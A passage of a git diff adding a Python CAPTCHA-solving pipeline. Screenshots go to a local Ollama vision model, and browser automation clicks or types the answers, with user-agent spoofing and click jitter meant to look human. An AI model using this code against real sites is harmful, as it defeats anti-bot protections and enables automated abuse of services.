Firefox/121.0", +] + + +def get_random_mobile_ua() -> str: + """Get a random mobile User-Agent string.""" + return random.choice(MOBILE_USER_AGENTS) + + +def get_random_desktop_ua() -> str: + """Get a random desktop User-Agent string.""" + return random.choice(DESKTOP_USER_AGENTS) + + +def get_random_facebook_ua() -> str: + """Get a User-Agent that looks like it's coming from the Facebook app.""" + fb_agents = [ua for ua in MOBILE_USER_AGENTS if "FBAN" in ua or "FB_IAB" in ua] + if fb_agents: + return random.choice(fb_agents) + return get_random_mobile_ua() diff --git a/src/captcha/__init__.py b/src/captcha/__init__.py new file mode 100644 index 0000000..8745cf9 --- /dev/null +++ b/src/captcha/__init__.py @@ -0,0 +1,8 @@ +""" +CAPTCHA Solving Pipeline — vision-guided browser automation system. +Uses local Ollama vision models to interpret CAPTCHA challenges and +automates browser interaction to solve them. + +Pipeline: + Browser/App → Screenshot → Ollama VLM → Coordinate Mapping → Mouse Automation → Verify → Loop +""" diff --git a/src/captcha/browser_controller.py b/src/captcha/browser_controller.py new file mode 100644 index 0000000..d8f8038 --- /dev/null +++ b/src/captcha/browser_controller.py @@ -0,0 +1,133 @@ +""" +Browser automation controller for CAPTCHA solving workflows. + +Supports Playwright and Selenium when installed; otherwise operates in manual mode. +""" +import logging +from dataclasses import dataclass +from typing import Any, Optional, Tuple + +logger = logging.getLogger(__name__) + + +@dataclass +class BrowserConfig: + engine: str = "Playwright" + headless: bool = False + viewport: Tuple[int, int] = (1280, 720) + mouse_delay_ms: int = 50 + retry_limit: int = 3 + + +class BrowserController: + """Launches and controls a browser session for CAPTCHA automation.""" + + def __init__(self, config: Optional[BrowserConfig] = None): + self.config = config or BrowserConfig() + self._driver: Any = None + self._playwright: Any = None + self._browser: Any = None + self._page: Any = None + + @property + def is_running(self) -> bool: + return self._driver is not None or self._page is not None + + @property + def active_driver(self) -> Any: + """Return the active Playwright page or Selenium WebDriver.""" + return self._page or self._driver + + def launch(self, url: Optional[str] = None) -> bool: + engine = (self.config.engine or "None (Manual)").lower() + + if "playwright" in engine: + return self._launch_playwright(url) + if "selenium" in engine: + return self._launch_selenium(url) + + logger.info("Browser automation disabled — manual mode") + return False + + def _launch_playwright(self, url: Optional[str]) -> bool: + try: + from playwright.sync_api import sync_playwright + except ImportError: + logger.warning("Playwright not installed. Install with: pip install playwright") + return False + + try: + self._playwright = sync_playwright().start() + self._browser = self._playwright.chromium.launch(headless=self.config.headless) + context = self._browser.new_context( + viewport={ + "width": self.config.viewport[0], + "height": self.config.viewport[1], + } + ) + self._page = context.new_page() + if url: + self._page.goto(url, wait_until="domcontentloaded") + logger.info("Playwright browser launched") + return True + except Exception as e: + logger.error(f"Failed to launch Playwright: {e}") + self.close() + return False + + def _launch_selenium(self, url: Optional[str]) -> bool: + try: + from selenium import webdriver + from selenium.webdriver.chrome.options import Options + except ImportError: + logger.warning("Selenium not installed. Install with: pip install selenium") + return False + + try: + options = Options() + if self.config.headless: + options.add_argument("--headless=new") + options.add_argument( + f"--window-size={self.config.viewport[0]},{self.config.viewport[1]}" + ) + self._driver = webdriver.Chrome(options=options) + if url: + self._driver.get(url) + logger.info("Selenium browser launched") + return True + except Exception as e: + logger.error(f"Failed to launch Selenium: {e}") + self.close() + return False + + def navigate(self, url: str) -> bool: + driver = self.active_driver + if not driver: + return False + try: + if self._page is not None: + self._page.goto(url, wait_until="domcontentloaded") + else: + driver.get(url) + return True + except Exception as e: + logger.error(f"Navigation failed: {e}") + return False + + def close(self): + try: + if self._page is not None: + self._page.close() + if self._browser is not None: + self._browser.close() + if self._playwright is not None: + self._playwright.stop() + if self._driver is not None: + self._driver.quit() + except Exception as e: + logger.warning(f"Browser shutdown warning: {e}") + finally: + self._driver = None + self._page = None + self._browser = None + self._playwright = None diff --git a/src/captcha/captcha_solver.py b/src/captcha/captcha_solver.py new file mode 100644 index 0000000..96ab667 --- /dev/null +++ b/src/captcha/captcha_solver.py @@ -0,0 +1,306 @@ +""" +CAPTCHA solver — sends a screenshot to a local Ollama model and returns +a plain-text answer (the text/characters to type or tiles to click). + +Designed for DeepSeek-VL2 / LLaVA / minicpm-v and similar vision models. +""" +import base64 +import json +import logging +import re +from io import BytesIO +from typing import List, Optional, Tuple + +import requests + +from config import DEFAULT_OLLAMA_CONFIG, OLLAMA_CONFIG_FILE + +logger = logging.getLogger(__name__) + +_CONFIG_PATH = OLLAMA_CONFIG_FILE +_OLLAMA_DEFAULT = "http://localhost:11434" + + +def _write_default_config() -> dict: + _CONFIG_PATH.write_text( + json.dumps(DEFAULT_OLLAMA_CONFIG, indent=2), + encoding="utf-8", + ) + return DEFAULT_OLLAMA_CONFIG.copy() + + +def _load_config() -> dict: + try: + if not _CONFIG_PATH.exists(): + return _write_default_config() + cfg = json.loads(_CONFIG_PATH.read_text(encoding="utf-8")) + return {**DEFAULT_OLLAMA_CONFIG, **cfg} + except Exception as exc: + logger.warning(f"Could not load Ollama config from {_CONFIG_PATH}: {exc}") + return DEFAULT_OLLAMA_CONFIG.copy() + + +class CaptchaSolver: + """ + Sends a CAPTCHA image to an Ollama vision model and parses the answer. + + Supports: + • Text/number CAPTCHAs → returns the string to type + • Grid-select CAPTCHAs → returns tile numbers to click + """ + + def __init__( + self, + host: Optional[str] = None, + model: Optional[str] = None, + timeout: int = 120, + ): + cfg = _load_config() + self.host = (host or cfg.get("ollama_host", _OLLAMA_DEFAULT)).rstrip("/") + self.model = model or cfg.get("model", "") + self.timeout = timeout + self.temperature = float(cfg.get("temperature", 0.05)) + self.top_p = float(cfg.get("top_p", 0.9)) + self.max_tokens = int(cfg.get("max_tokens", cfg.get("num_predict", 256))) + self.prompt_template = (cfg.get("prompt_template") or "").strip() + self.session = requests.Session() + self.session.headers.update({"Content-Type": "application/json"}) + + def reload_config(self): + """Re-read config_ollama.json (call after user saves settings).""" + cfg = _load_config() + self.host = cfg.get("ollama_host", _OLLAMA_DEFAULT).rstrip("/") + self.model = cfg.get("model", "") + self.temperature = float(cfg.get("temperature", 0.05)) + self.top_p = float(cfg.get("top_p", 0.9)) + self.max_tokens = int(cfg.get("max_tokens", cfg.get("num_predict", 256))) + self.prompt_template = (cfg.get("prompt_template") or "").strip() + + def is_available(self) -> bool: + try: + r = self.session.get(f"{self.host}/api/tags", timeout=3) + return r.status_code == 200 + except Exception: + return False + + def list_models(self) -> List[str]: + try: + r = self.session.get(f"{self.host}/api/tags", timeout=5) + if r.status_code == 200: + return [m["name"] for m in r.json().get("models", [])] + except Exception: + pass + return [] + + # ── Main entry point ────────────────────────────────────────────────────── + + def _model_family(self) -> str: + """Return the Ollama model family string (e.g. 'deepseekocr', 'llava').""" + try: + r = self.session.get(f"{self.host}/api/tags", timeout=5) + if r.status_code == 200: + for m in r.json().get("models", []): + if m.get("name") == self.model: + return m.get("details", {}).get("family", "").lower() + except Exception: + pass + return "" + + def solve( + self, + image_bytes: bytes, + prompt: Optional[str] = None, + ) -> Tuple[bool, str]: + """ + Solve a CAPTCHA from raw image bytes. + + Tries /api/chat first (required by deepseek-ocr and newer models), + then falls back to /api/generate for older vision models (llava, etc.). + + Returns: + (success: bool, answer: str) + answer is either the text to type OR comma-separated tile numbers. + """ + if not self.model: + return False, "No model configured — set one in the Setup tab" + + b64 = base64.b64encode(image_bytes).decode("utf-8") + prompt = prompt or self.prompt_template or self._default_prompt() + options = { + "temperature": self.temperature, + "num_predict": self.max_tokens, + "top_p": self.top_p, + } + + # ── Try /api/chat (works for deepseek-ocr, llava, minicpm-v, etc.) ── + try: + chat_payload = { + "model": self.model, + "messages": [ + { + "role": "user", + "content": prompt, + "images": [b64], + } + ], + "stream": False, + "options": options, + } + resp = self.session.post( + f"{self.host}/api/chat", + json=chat_payload, + timeout=self.timeout, + ) + if resp.status_code == 200: + raw = resp.json().get("message", {}).get("content", "").strip() + if raw: + answer = self._parse_answer(raw) + logger.debug(f"CAPTCHA (chat) raw='{raw[:80]}' parsed='{answer}'") + return bool(answer), answer + # empty content — fall through to generate endpoint + logger.debug("CAPTCHA /api/chat returned empty content, trying /api/generate") + except requests.Timeout: + return False, f"Ollama timed out ({self.timeout}s) — model may be loading" + except requests.ConnectionError: + return False, f"Cannot reach Ollama at {self.host}" + except Exception as e: + logger.debug(f"/api/chat failed ({e}), trying /api/generate") + + # ── Fallback: /api/generate (legacy llava / bakllava style) ────────── + try: + gen_payload = { + "model": self.model, + "prompt": prompt, + "images": [b64], + "stream": False, + "options": options, + } + resp = self.session.post( + f"{self.host}/api/generate", + json=gen_payload, + timeout=self.timeout, + ) + if resp.status_code != 200: + return False, f"Ollama error HTTP {resp.status_code}: {resp.text[:120]}" + + raw = resp.json().get("response", "").strip() + if not raw: + return False, "Model returned empty response — check model supports vision" + answer = self._parse_answer(raw) + logger.debug(f"CAPTCHA (generate) raw='{raw[:80]}' parsed='{answer}'") + return bool(answer), answer + + except requests.Timeout: + return False, f"Ollama timed out ({self.timeout}s)" + except requests.ConnectionError: + return False, f"Cannot reach Ollama at {self.host}" + except Exception as e: + return False, f"Solver error: {e}" + + def solve_from_pil(self, image, prompt: Optional[str] = None) -> Tuple[bool, str]: + """Convenience: accept a PIL Image object.""" + buf = BytesIO() + image.save(buf, format="PNG") + return self.solve(buf.getvalue(), prompt) + + def test_text_generation(self, prompt: str = "Reply with exactly: OK - Model is working") -> Tuple[bool, str]: + """Run a simple text-only generation through the same solver config.""" + if not self.model: + return False, "No model configured — set one in the Setup tab" + + payload = { + "model": self.model, + "prompt": prompt, + "stream": False, + "options": { + "temperature": self.temperature, + "num_predict": self.max_tokens, + "top_p": self.top_p, + }, + } + + try: + resp = self.session.post( + f"{self.host}/api/generate", + json=payload, + timeout=self.timeout, + ) + if resp.status_code != 200: + return False, f"Ollama error HTTP {resp.status_code}: {resp.text[:120]}" + response = resp.json().get("response", "").strip() + return bool(response), response or "Model returned empty response" + except requests.Timeout: + return False, f"Ollama timed out ({self.timeout}s)" + except requests.ConnectionError: + return False, f"Cannot reach Ollama at {self.host}" + except Exception as e: + return False, f"Solver test error: {e}" + + # ── Helpers ─────────────────────────────────────────────────────────────── + + def _default_prompt(self) -> str: + """ + Return the best prompt for the configured model. + + deepseek-ocr (and other pure OCR models) work best with a single short + instruction — long verbose prompts cause them to return empty output. + General vision models (llava, minicpm-v, etc.) benefit from more detail. + """ + model_lower = (self.model or "").lower() + # Pure OCR models — keep it minimal + if any(x in model_lower for x in ("deepseek-ocr", "ocr", "tesseract")): + return "Read the text in this image." + # General vision / chat models — can handle richer instructions + return ( + "You are a CAPTCHA solver. Look at the image.\n" + "If it shows distorted text/numbers, reply with ONLY those characters (e.g. XK9P2).\n" + "If it is a grid CAPTCHA, reply with ONLY the comma-separated tile numbers (e.g. 2,5,7).\n" + "Reply with the answer only — no explanation." + ) + + @staticmethod + def _parse_answer(raw: str) -> str: + """ + Extract the useful CAPTCHA answer from the model's raw response. + + Handles: + - Tile selection: "2,5,7" or "tiles: 2, 5, 7" + - Text CAPTCHA: "BX7K2" or "BX7 K2" or "The answer is BX7K2" + """ + if not raw: + return "" + + # Strip markdown code fences + raw = re.sub(r"```[^`]*```", "", raw, flags=re.DOTALL).strip() + + # Work with just the first line (model sometimes explains after) + first_line = raw.split("\n")[0].strip() + + # ── Determine mode: tile selection vs text CAPTCHA ─────────────────── + # Remove common filler words that appear in tile responses + filler_removed = re.sub( + r"\b(tiles?|click|select|choose|numbers?|and|the|are|:)\b", + " ", first_line, flags=re.IGNORECASE + ).strip() + letter_count = len(re.findall(r"[A-Za-z]", filler_removed)) + digit_count = len(re.findall(r"\d", filler_removed)) + + # Tile mode: after removing filler words, mostly digits remain + if digit_count >= 2 and letter_count == 0: + nums = re.findall(r"\d+", first_line) + return ",".join(nums) + + # ── Text/alphanumeric CAPTCHA ───────────────────────────────────────── + # Strip spaces — OCR models sometimes insert spaces between characters + compact = re.sub(r"\s+", "", first_line) + if re.fullmatch(r"[A-Za-z0-9]{2,12}", compact): + return compact.upper() + + # Verbose response: extract the final alphanumeric token + # e.g. "The answer is BX7K2" or "CAPTCHA text: ABC123" + tokens = re.findall(r"[A-Za-z0-9]{3,12}", first_line) + if tokens: + return tokens[-1].upper() + + # Fallback: first line trimmed + return first_line[:64] diff --git a/src/captcha/coord_mapper.py b/src/captcha/coord_mapper.py new file mode 100644 index 0000000..a082c48 --- /dev/null +++ b/src/captcha/coord_mapper.py @@ -0,0 +1,271 @@ +""" +Coordinate mapping system — converts image-based positions from vision model +analysis into actual browser/screen click coordinates. + +Handles: +- Grid-based CAPTCHAs (reCAPTCHA 3x3, 4x4) +- Absolute coordinate mapping +- Element-relative positioning +- Viewport offset calculations +""" +import logging +import random +from dataclasses import dataclass +from typing import List, Optional, Tuple + +logger = logging.getLogger(__name__) + + +@dataclass +class ClickTarget: + """A single click target with its screen coordinates.""" + x: int + y: int + label: str = "" + confidence: float = 1.0 + tile_index: int = 0 # 1-based grid position, 0 if not grid-based + + +class CoordMapper: + """ + Maps vision model output to actual click coordinates. + Supports multiple CAPTCHA types and coordinate systems. + """ + + # Common CAPTCHA grid configurations + GRID_CONFIGS = { + "3x3": {"rows": 3, "cols": 3, "total": 9}, + "4x4": {"rows": 4, "cols": 4, "total": 16}, + "2x3": {"rows": 2, "cols": 3, "total": 6}, + "3x4": {"rows": 3, "cols": 4, "total": 12}, + } + + def __init__( + self, + viewport_offset: Tuple[int, int] = (0, 0), + browser_offset: Tuple[int, int] = (0, 0), + humanize: bool = True, + ): + """ + Args: + viewport_offset: (x, y) offset of the browser viewport on screen + browser_offset: (x, y) offset of the browser chrome/toolbars + humanize: add random jitter to clicks to appear human + """ + self.viewport_offset = viewport_offset + self.browser_offset = browser_offset + self.humanize = humanize + + def set_viewport_offset(self, x: int, y: int): + """Set the viewport offset (position of browser content area on screen).""" + self.viewport_offset = (x, y) + + def set_browser_offset(self, x: int, y: int): + """Set browser chrome offset (toolbars, address bar height).""" + self.browser_offset = (x, y) + + def map_grid_tiles( + self, + grid_image_size: Tuple[int, int], + tile_indices: List[int], + grid_type: str = "3x3", + ) -> List[ClickTarget]: + """ + Map grid tile indices to click coordinates. + + Args: + grid_image_size: (width, height) of the grid image + tile_indices: list of 1-based tile indices to click (e.g., [1, 4, 7]) + grid_type: '3x3', '4x4', etc. + + Returns: + List of ClickTarget with screen coordinates + """ + config = self.GRID_CONFIGS.get(grid_type) + if not config: + logger.warning(f"Unknown grid type: {grid_type}, defaulting to 3x3") + config = self.GRID_CONFIGS["3x3"] + + rows, cols = config["rows"], config["cols"] + img_w, img_h = grid_image_size + tile_w = img_w / cols + tile_h = img_h / rows + + targets = [] + for idx in tile_indices: + if idx < 1 or idx > config["total"]: + logger.warning(f"Tile index {idx} out of range for {grid_type}") + continue + + # Convert 1-based index to (row, col) 0-based + row = (idx - 1) // cols + col = (idx - 1) % cols + + # Center of the tile + center_x = int(col * tile_w + tile_w / 2) + center_y = int(row * tile_h + tile_h / 2) + + # Apply offsets and humanization + click_x, click_y = self._apply_offsets(center_x, center_y) + + targets.append(ClickTarget( + x=click_x, + y=click_y, + label=f"Tile {idx} (row={row+1}, col={col+1})", + confidence=1.0, + tile_index=idx, + )) + + logger.info(f"Mapped {len(targets)} grid tiles: {tile_indices}") + return targets + + def map_absolute_coordinates( + self, + coordinates: List[Tuple[int, int]], + image_size: Tuple[int, int], + viewport_size: Tuple[int, int], + ) -> List[ClickTarget]: + """ + Map absolute coordinates from the vision model to screen coordinates. + Handles scaling if the analyzed image differs from actual viewport size. + + Args: + coordinates: list of (x, y) from the vision model + image_size: (width, height) of the image that was analyzed + viewport_size: (width, height) of the actual browser viewport + """ + img_w, img_h = image_size + vp_w, vp_h = viewport_size + + # Calculate scale factors + scale_x = vp_w / img_w if img_w > 0 else 1 + scale_y = vp_h / img_h if img_h > 0 else 1 + + targets = [] + for x, y in coordinates: + # Scale to viewport coordinates + scaled_x = int(x * scale_x) + scaled_y = int(y * scale_y) + + # Apply offsets and humanization + click_x, click_y = self._apply_offsets(scaled_x, scaled_y) + + targets.append(ClickTarget( + x=click_x, + y=click_y, + label=f"Coordinate ({x}, {y})", + confidence=1.0, + )) + + return targets + + def map_element_positions( + self, + elements: List[dict], + image_size: Tuple[int, int], + viewport_size: Tuple[int, int], + ) -> List[ClickTarget]: + """ + Map descriptive element positions (e.g., 'top-left', 'center') to coordinates. + + Args: + elements: list of dicts with 'position' field + image_size: (width, height) of analyzed image + viewport_size: (width, height) of actual viewport + """ + img_w, img_h = image_size + vp_w, vp_h = viewport_size + scale_x = vp_w / img_w if img_w > 0 else 1 + scale_y = vp_h / img_h if img_h > 0 else 1 + + # Named position presets (relative to image) + named_positions = { + "top-left": (0.1, 0.1), + "top-center": (0.5, 0.1), + "top-right": (0.9, 0.1), + "center-left": (0.1, 0.5), + "center": (0.5, 0.5), + "center-right": (0.9, 0.5), + "bottom-left": (0.1, 0.9), + "bottom-center": (0.5, 0.9), + "bottom-right": (0.9, 0.9), + } + + targets = [] + for elem in elements: + position = elem.get("position", "center").lower() + label = elem.get("label", "") + + if position in named_positions: + rel_x, rel_y = named_positions[position] + abs_x = int(rel_x * img_w) + abs_y = int(rel_y * img_h) + else: + # Try to parse as "x%, y%" or "x, y" + try: + parts = position.replace("%", "").split(",") + if len(parts) == 2: + abs_x = int(float(parts[0].strip()) / 100 * img_w) + abs_y = int(float(parts[1].strip()) / 100 * img_h) + else: + continue + except (ValueError, IndexError): + logger.warning(f"Could not parse position: {position}") + continue + + # Scale and offset + click_x, click_y = self._apply_offsets( + int(abs_x * scale_x), + int(abs_y * scale_y), + ) + + targets.append(ClickTarget( + x=click_x, + y=click_y, + label=label or position, + confidence=elem.get("confidence", 0.5), + )) + + return targets + + def _apply_offsets(self, x: int, y: int) -> Tuple[int, int]: + """Apply viewport offset, browser offset, and humanization jitter.""" + # Add browser chrome offset + x += self.browser_offset[0] + y += self.browser_offset[1] + + # Add viewport offset + x += self.viewport_offset[0] + y += self.viewport_offset[1] + + # Humanize: add small random jitter (±3 pixels) + if self.humanize: + x += random.randint(-3, 3) + y += random.randint(-3, 3) + + return (x, y) + + def sort_by_reading_order(self, targets: List[ClickTarget], grid_type: str = "3x3") -> List[ClickTarget]: + """Sort click targets in natural reading order (left-to-right, top-to-bottom).""" + config = self.GRID_CONFIGS.get(grid_type, self.GRID_CONFIGS["3x3"]) + cols = config["cols"] + + return sorted(targets, key=lambda t: ((t.tile_index - 1) // cols, (t.tile_index - 1) % cols)) + + def deduplicate_close_clicks(self, targets: List[ClickTarget], min_distance: int = 10) -> List[ClickTarget]: + """Remove click targets that are too close together.""" + if not targets: + return [] + + filtered = [targets[0]] + for t in targets[1:]: + too_close = False + for f in filtered: + dist = ((t.x - f.x) ** 2 + (t.y - f.y) ** 2) ** 0.5 + if dist < min_distance: + too_close = True + break + if not too_close: + filtered.append(t) + + return filtered diff --git a/src/captcha/ollama_client.py b/src/captcha/ollama_client.py new file mode 100644 index 0000000..63bbb46 --- /dev/null +++ b/src/captcha/ollama_client.py @@ -0,0 +1,269 @@ +""" +Ollama vision inference client — sends images to local Ollama models +and parses structured responses for CAPTCHA solving. +""" +import base64 +import json +import logging +import re +from dataclasses import dataclass, field +from io import BytesIO +from typing import Dict, List, Optional, Tuple, Any +import requests +from PIL import Image + +logger = logging.getLogger(__name__) + +OLLAMA_DEFAULT_HOST = "http://localhost:11434" + + +@dataclass +class CaptchaAnalysis: + """Structured result from CAPTCHA analysis.""" + description: str = "" + instruction: str = "" + target_elements: List[Dict[str, Any]] = field(default_factory=list) + click_coordinates: List[Tuple[int, int]] = field(default_factory=list) + tile_positions: List[int] = field(default_factory=list) + raw_response: str = "" + confidence: float = 0.0 + success: bool = False + error: Optional[str] = None + + +class OllamaVisionClient: + """ + Client for Ollama vision-language models. + Handles image encoding, prompt construction, response parsing. + """ + + def __init__(self, host: str = OLLAMA_DEFAULT_HOST, model: str = "llava:13b"): + self.host = host.rstrip("/") + self.model = model + self.session = requests.Session() + self.session.headers.update({"Content-Type": "application/json"}) + + def is_available(self) -> bool: + """Check if Ollama server is reachable.""" + try: + resp = self.session.get(f"{self.host}/api/tags", timeout=3) + return resp.status_code == 200 + except requests.RequestException: + return False + + def list_models(self) -> List[str]: + """Get list of available model names.""" + try: + resp = self.session.get(f"{self.host}/api/tags", timeout=5) + if resp.status_code == 200: + data = resp.json() + return [m["name"] for m in data.get("models", [])] + return [] + except requests.RequestException: + return [] + + def _encode_image(self, image: Image.Image, format: str = "PNG") -> str: + """Convert PIL Image to base64 string.""" + buffer = BytesIO() + image.save(buffer, format=format) + return base64.b64encode(buffer.getvalue()).decode("utf-8") + + def _encode_image_path(self, image_path: str) -> str: + """Load image from path and encode to base64.""" + with open(image_path, "rb") as f: + return base64.b64encode(f.read()).decode("utf-8") + + def analyze_captcha( + self, + image: Image.Image, + prompt: Optional[str] = None, + temperature: float = 0.1, + max_tokens: int = 512, + ) -> CaptchaAnalysis: + """ + Analyze a CAPTCHA image using the vision model. + Returns structured analysis with coordinates and elements. + """ + default_prompt = ( + "You are a CAPTCHA solving AI. Look at this image carefully.\n\n" + "1. Describe what you see in detail\n" + "2. What is the instruction? (e.g., 'Select all images with bicycles', 'Click the traffic light')\n" + "3. List each target element and its approximate position (row, column or x,y coordinates)\n" + "4. If this is a grid-based CAPTCHA (like reCAPTCHA), which tile positions (1-9 or 1-16) contain the target?\n" + "5. What is your confidence level (0.0 to 1.0)?\n\n" + "Respond in this JSON format:\n" + "{\n" + ' "description": "...",\n' + ' "instruction": "...",\n' + ' "target_elements": [{"label": "...", "position": "top-left", "confidence": 0.95}],\n' + ' "tile_positions": [1, 4, 7],\n' + ' "click_coordinates": [[120, 45], [120, 180]],\n' + ' "confidence": 0.95\n' + "}" + ) + + analysis = CaptchaAnalysis() + analysis.raw_response = "" + + try: + # Encode image + b64_image = self._encode_image(image) + + # Build request + payload = { + "model": self.model, + "prompt": prompt or default_prompt, + "images": [b64_image], + "stream": False, + "options": { + "temperature": temperature, + "num_predict": max_tokens, + }, + } + + # Send to Ollama + resp = self.session.post( + f"{self.host}/api/generate", + json=payload, + timeout=120, + ) + + if resp.status_code != 200: + analysis.error = f"Ollama returned HTTP {resp.status_code}: {resp.text[:200]}" + logger.error(analysis.error) + return analysis + + data = resp.json() + analysis.raw_response = data.get("response", "") + + # Parse structured response + self._parse_response(analysis) + + return analysis + + except requests.ConnectionError: + analysis.error = f"Cannot connect to Ollama at {self.host}" + logger.error(analysis.error) + return analysis + except requests.Timeout: + analysis.error = "Ollama request timed out (120s)" + logger.error(analysis.error) + return analysis + except Exception as e: + analysis.error = f"Unexpected error: {str(e)[:200]}" + logger.error(analysis.error, exc_info=True) + return analysis + + def _parse_response(self, analysis: CaptchaAnalysis) -> None: + """Parse the model's response into structured fields.""" + response = analysis.raw_response + + # Try to extract JSON block + json_match = re.search(r"\{[^{}]*\}", response, re.DOTALL) + if json_match: + try: + parsed = json.loads(json_match.group()) + analysis.description = parsed.get("description", "") + analysis.instruction = parsed.get("instruction", "") + analysis.target_elements = parsed.get("target_elements", []) + analysis.tile_positions = parsed.get("tile_positions", []) + analysis.click_coordinates = [ + tuple(coord) for coord in parsed.get("click_coordinates", []) + ] + analysis.confidence = float(parsed.get("confidence", 0.0)) + analysis.success = analysis.confidence > 0.5 + return + except (json.JSONDecodeError, ValueError, TypeError) as e: + logger.warning(f"Failed to parse JSON from response: {e}") + + # Fallback: extract information heuristically + analysis.description = response[:500] + + # Extract tile positions from text + tile_match = re.findall(r"(?:tile|position|grid)\s*(?::|#)?\s*(\d+)", response, re.IGNORECASE) + if tile_match: + analysis.tile_positions = [int(t) for t in tile_match] + + # Extract coordinates + coord_match = re.findall(r"\((\d+),\s*(\d+)\)", response) + if coord_match: + analysis.click_coordinates = [(int(x), int(y)) for x, y in coord_match] + + # Determine success heuristically + analysis.success = ( + len(analysis.tile_positions) > 0 + or len(analysis.click_coordinates) > 0 + or "confidence" in response.lower() + ) + + def chat_with_image( + self, + image: Image.Image, + messages: List[Dict[str, str]], + temperature: float = 0.1, + ) -> Optional[str]: + """ + Chat completion with image context. + Useful for multi-turn CAPTCHA conversations. + """ + try: + b64_image = self._encode_image(image) + + payload = { + "model": self.model, + "messages": messages, + "stream": False, + "options": {"temperature": temperature}, + } + + # Add image to last message + if payload["messages"]: + payload["messages"][-1]["images"] = [b64_image] + + resp = self.session.post( + f"{self.host}/api/chat", + json=payload, + timeout=120, + ) + + if resp.status_code == 200: + data = resp.json() + return data.get("message", {}).get("content", "") + return None + + except Exception as e: + logger.error(f"Chat with image failed: {e}") + return None + + def test_connection(self) -> Dict[str, Any]: + """Test the full connection pipeline.""" + result = { + "server_available": False, + "model_available": False, + "inference_works": False, + "details": "", + } + + # Check server + if not self.is_available(): + result["details"] = f"Cannot reach Ollama at {self.host}" + return result + result["server_available"] = True + + # Check model + models = self.list_models() + if self.model not in models: + result["details"] = f"Model '{self.model}' not found. Available: {models[:5]}" + return result + result["model_available"] = True + + # Test inference with a tiny image + try: + tiny_img = Image.new("RGB", (10, 10), color="black") + test_analysis = self.analyze_captcha(tiny_img, prompt="Reply with just: OK") + result["inference_works"] = bool(test_analysis.raw_response) + result["details"] = f"Model responded: {test_analysis.raw_response[:100]}" + except Exception as e: + result["details"] = f"Inference test failed: {e}" + + return result diff --git a/src/captcha/screenshotter.py b/src/captcha/screenshotter.py new file mode 100644 index 0000000..7a4c197 --- /dev/null +++ b/src/captcha/screenshotter.py @@ -0,0 +1,221 @@ +""" +Screen capture and image preprocessing for CAPTCHA solving. +Captures browser viewports, crops elements, and prepares images for vision analysis. +""" +import io +import logging +import os +import tempfile +from dataclasses import dataclass +from datetime import datetime +from enum import Enum +from pathlib import Path +from typing import Optional, Tuple +from PIL import Image, ImageEnhance, ImageFilter, ImageGrab + +logger = logging.getLogger(__name__) + + +class CaptureMethod(Enum): + """Available screen capture methods.""" + PIL = "pil" # PIL ImageGrab (full screen) + PLAYWRIGHT = "playwright" # Playwright screenshot (browser viewport) + SELENIUM = "selenium" # Selenium screenshot (browser viewport) + MANUAL = "manual" # User-provided image path + + +@dataclass +class CaptureResult: + """Result of a screen capture operation.""" + image: Optional[Image.Image] = None + path: Optional[str] = None + method: CaptureMethod = CaptureMethod.PIL + timestamp: str = "" + viewport_size: Tuple[int, int] = (0, 0) + error: Optional[str] = None + success: bool = False + + +class Screenshotter: + """ + Captures screenshots from various sources and preprocesses them + for optimal vision model analysis. + """ + + def __init__(self, debug_dir: Optional[str] = None): + self.debug_dir = debug_dir + if debug_dir: + Path(debug_dir).mkdir(parents=True, exist_ok=True) + + def capture_screen(self, region: Optional[Tuple[int, int, int, int]] = None) -> CaptureResult: + """ + Capture the entire screen or a specific region using PIL. + region: (left, top, right, bottom) bounding box. + """ + result = CaptureResult(method=CaptureMethod.PIL) + result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3] + + try: + if region: + screenshot = ImageGrab.grab(bbox=region) + result.viewport_size = (region[2] - region[0], region[3] - region[1]) + else: + screenshot = ImageGrab.grab() + result.viewport_size = screenshot.size + + result.image = screenshot + result.success = True + + # Save debug copy + if self.debug_dir: + debug_path = Path(self.debug_dir) / f"capture_{result.timestamp}.png" + screenshot.save(debug_path) + result.path = str(debug_path) + + logger.info(f"Screen captured: {result.viewport_size}") + return result + + except Exception as e: + result.error = f"Screen capture failed: {e}" + logger.error(result.error) + return result + + def capture_browser_viewport( + self, + driver, + method: CaptureMethod = CaptureMethod.PLAYWRIGHT, + ) -> CaptureResult: + """ + Capture browser viewport via Playwright or Selenium. + driver: Playwright page object or Selenium WebDriver. + """ + result = CaptureResult(method=method) + result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3] + + try: + if method == CaptureMethod.PLAYWRIGHT: + # Playwright page.screenshot() + screenshot_bytes = driver.screenshot(full_page=False) + result.image = Image.open(io.BytesIO(screenshot_bytes)) + result.viewport_size = result.image.size + + elif method == CaptureMethod.SELENIUM: + # Selenium WebDriver screenshot + screenshot_bytes = driver.get_screenshot_as_png() + result.image = Image.open(io.BytesIO(screenshot_bytes)) + result.viewport_size = result.image.size + + result.success = True + + if self.debug_dir: + debug_path = Path(self.debug_dir) / f"browser_{result.timestamp}.png" + result.image.save(debug_path) + result.path = str(debug_path) + + logger.info(f"Browser viewport captured: {result.viewport_size}") + return result + + except Exception as e: + result.error = f"Browser capture failed: {e}" + logger.error(result.error) + return result + + def load_image(self, path: str) -> CaptureResult: + """Load an image from disk.""" + result = CaptureResult(method=CaptureMethod.MANUAL) + result.timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f")[:-3] + + try: + result.image = Image.open(path) + result.viewport_size = result.image.size + result.path = path + result.success = True + logger.info(f"Image loaded: {path} ({result.viewport_size})") + return result + except Exception as e: + result.error = f"Failed to load image {path}: {e}" + logger.error(result.error) + return result + + @staticmethod + def preprocess_for_vision(image: Image.Image) -> Image.Image: + """ + Preprocess image for optimal vision model analysis. + - Resize if too large (Ollama models have context limits) + - Enhance contrast + - Convert to RGB + """ + img = image.convert("RGB") + + # Resize if too large (max 1024px on longest side) + max_dim = 1024 + w, h = img.size + if max(w, h) > max_dim: + ratio = max_dim / max(w, h) + new_size = (int(w * ratio), int(h * ratio)) + img = img.resize(new_size, Image.LANCZOS) + logger.info(f"Image resized from {w}x{h} to {new_size}") + + # Enhance contrast for better recognition + enhancer = ImageEnhance.Contrast(img) + img = enhancer.enhance(1.2) + + # Slight sharpening + img = img.filter(ImageFilter.SHARPEN) + + return img + + @staticmethod + def crop_captcha_element( + image: Image.Image, + bbox: Tuple[int, int, int, int], + padding: int = 5, + ) -> Image.Image: + """ + Crop a specific element from the image. + bbox: (left, top, right, bottom) + padding: extra pixels around the crop area. + """ + left, top, 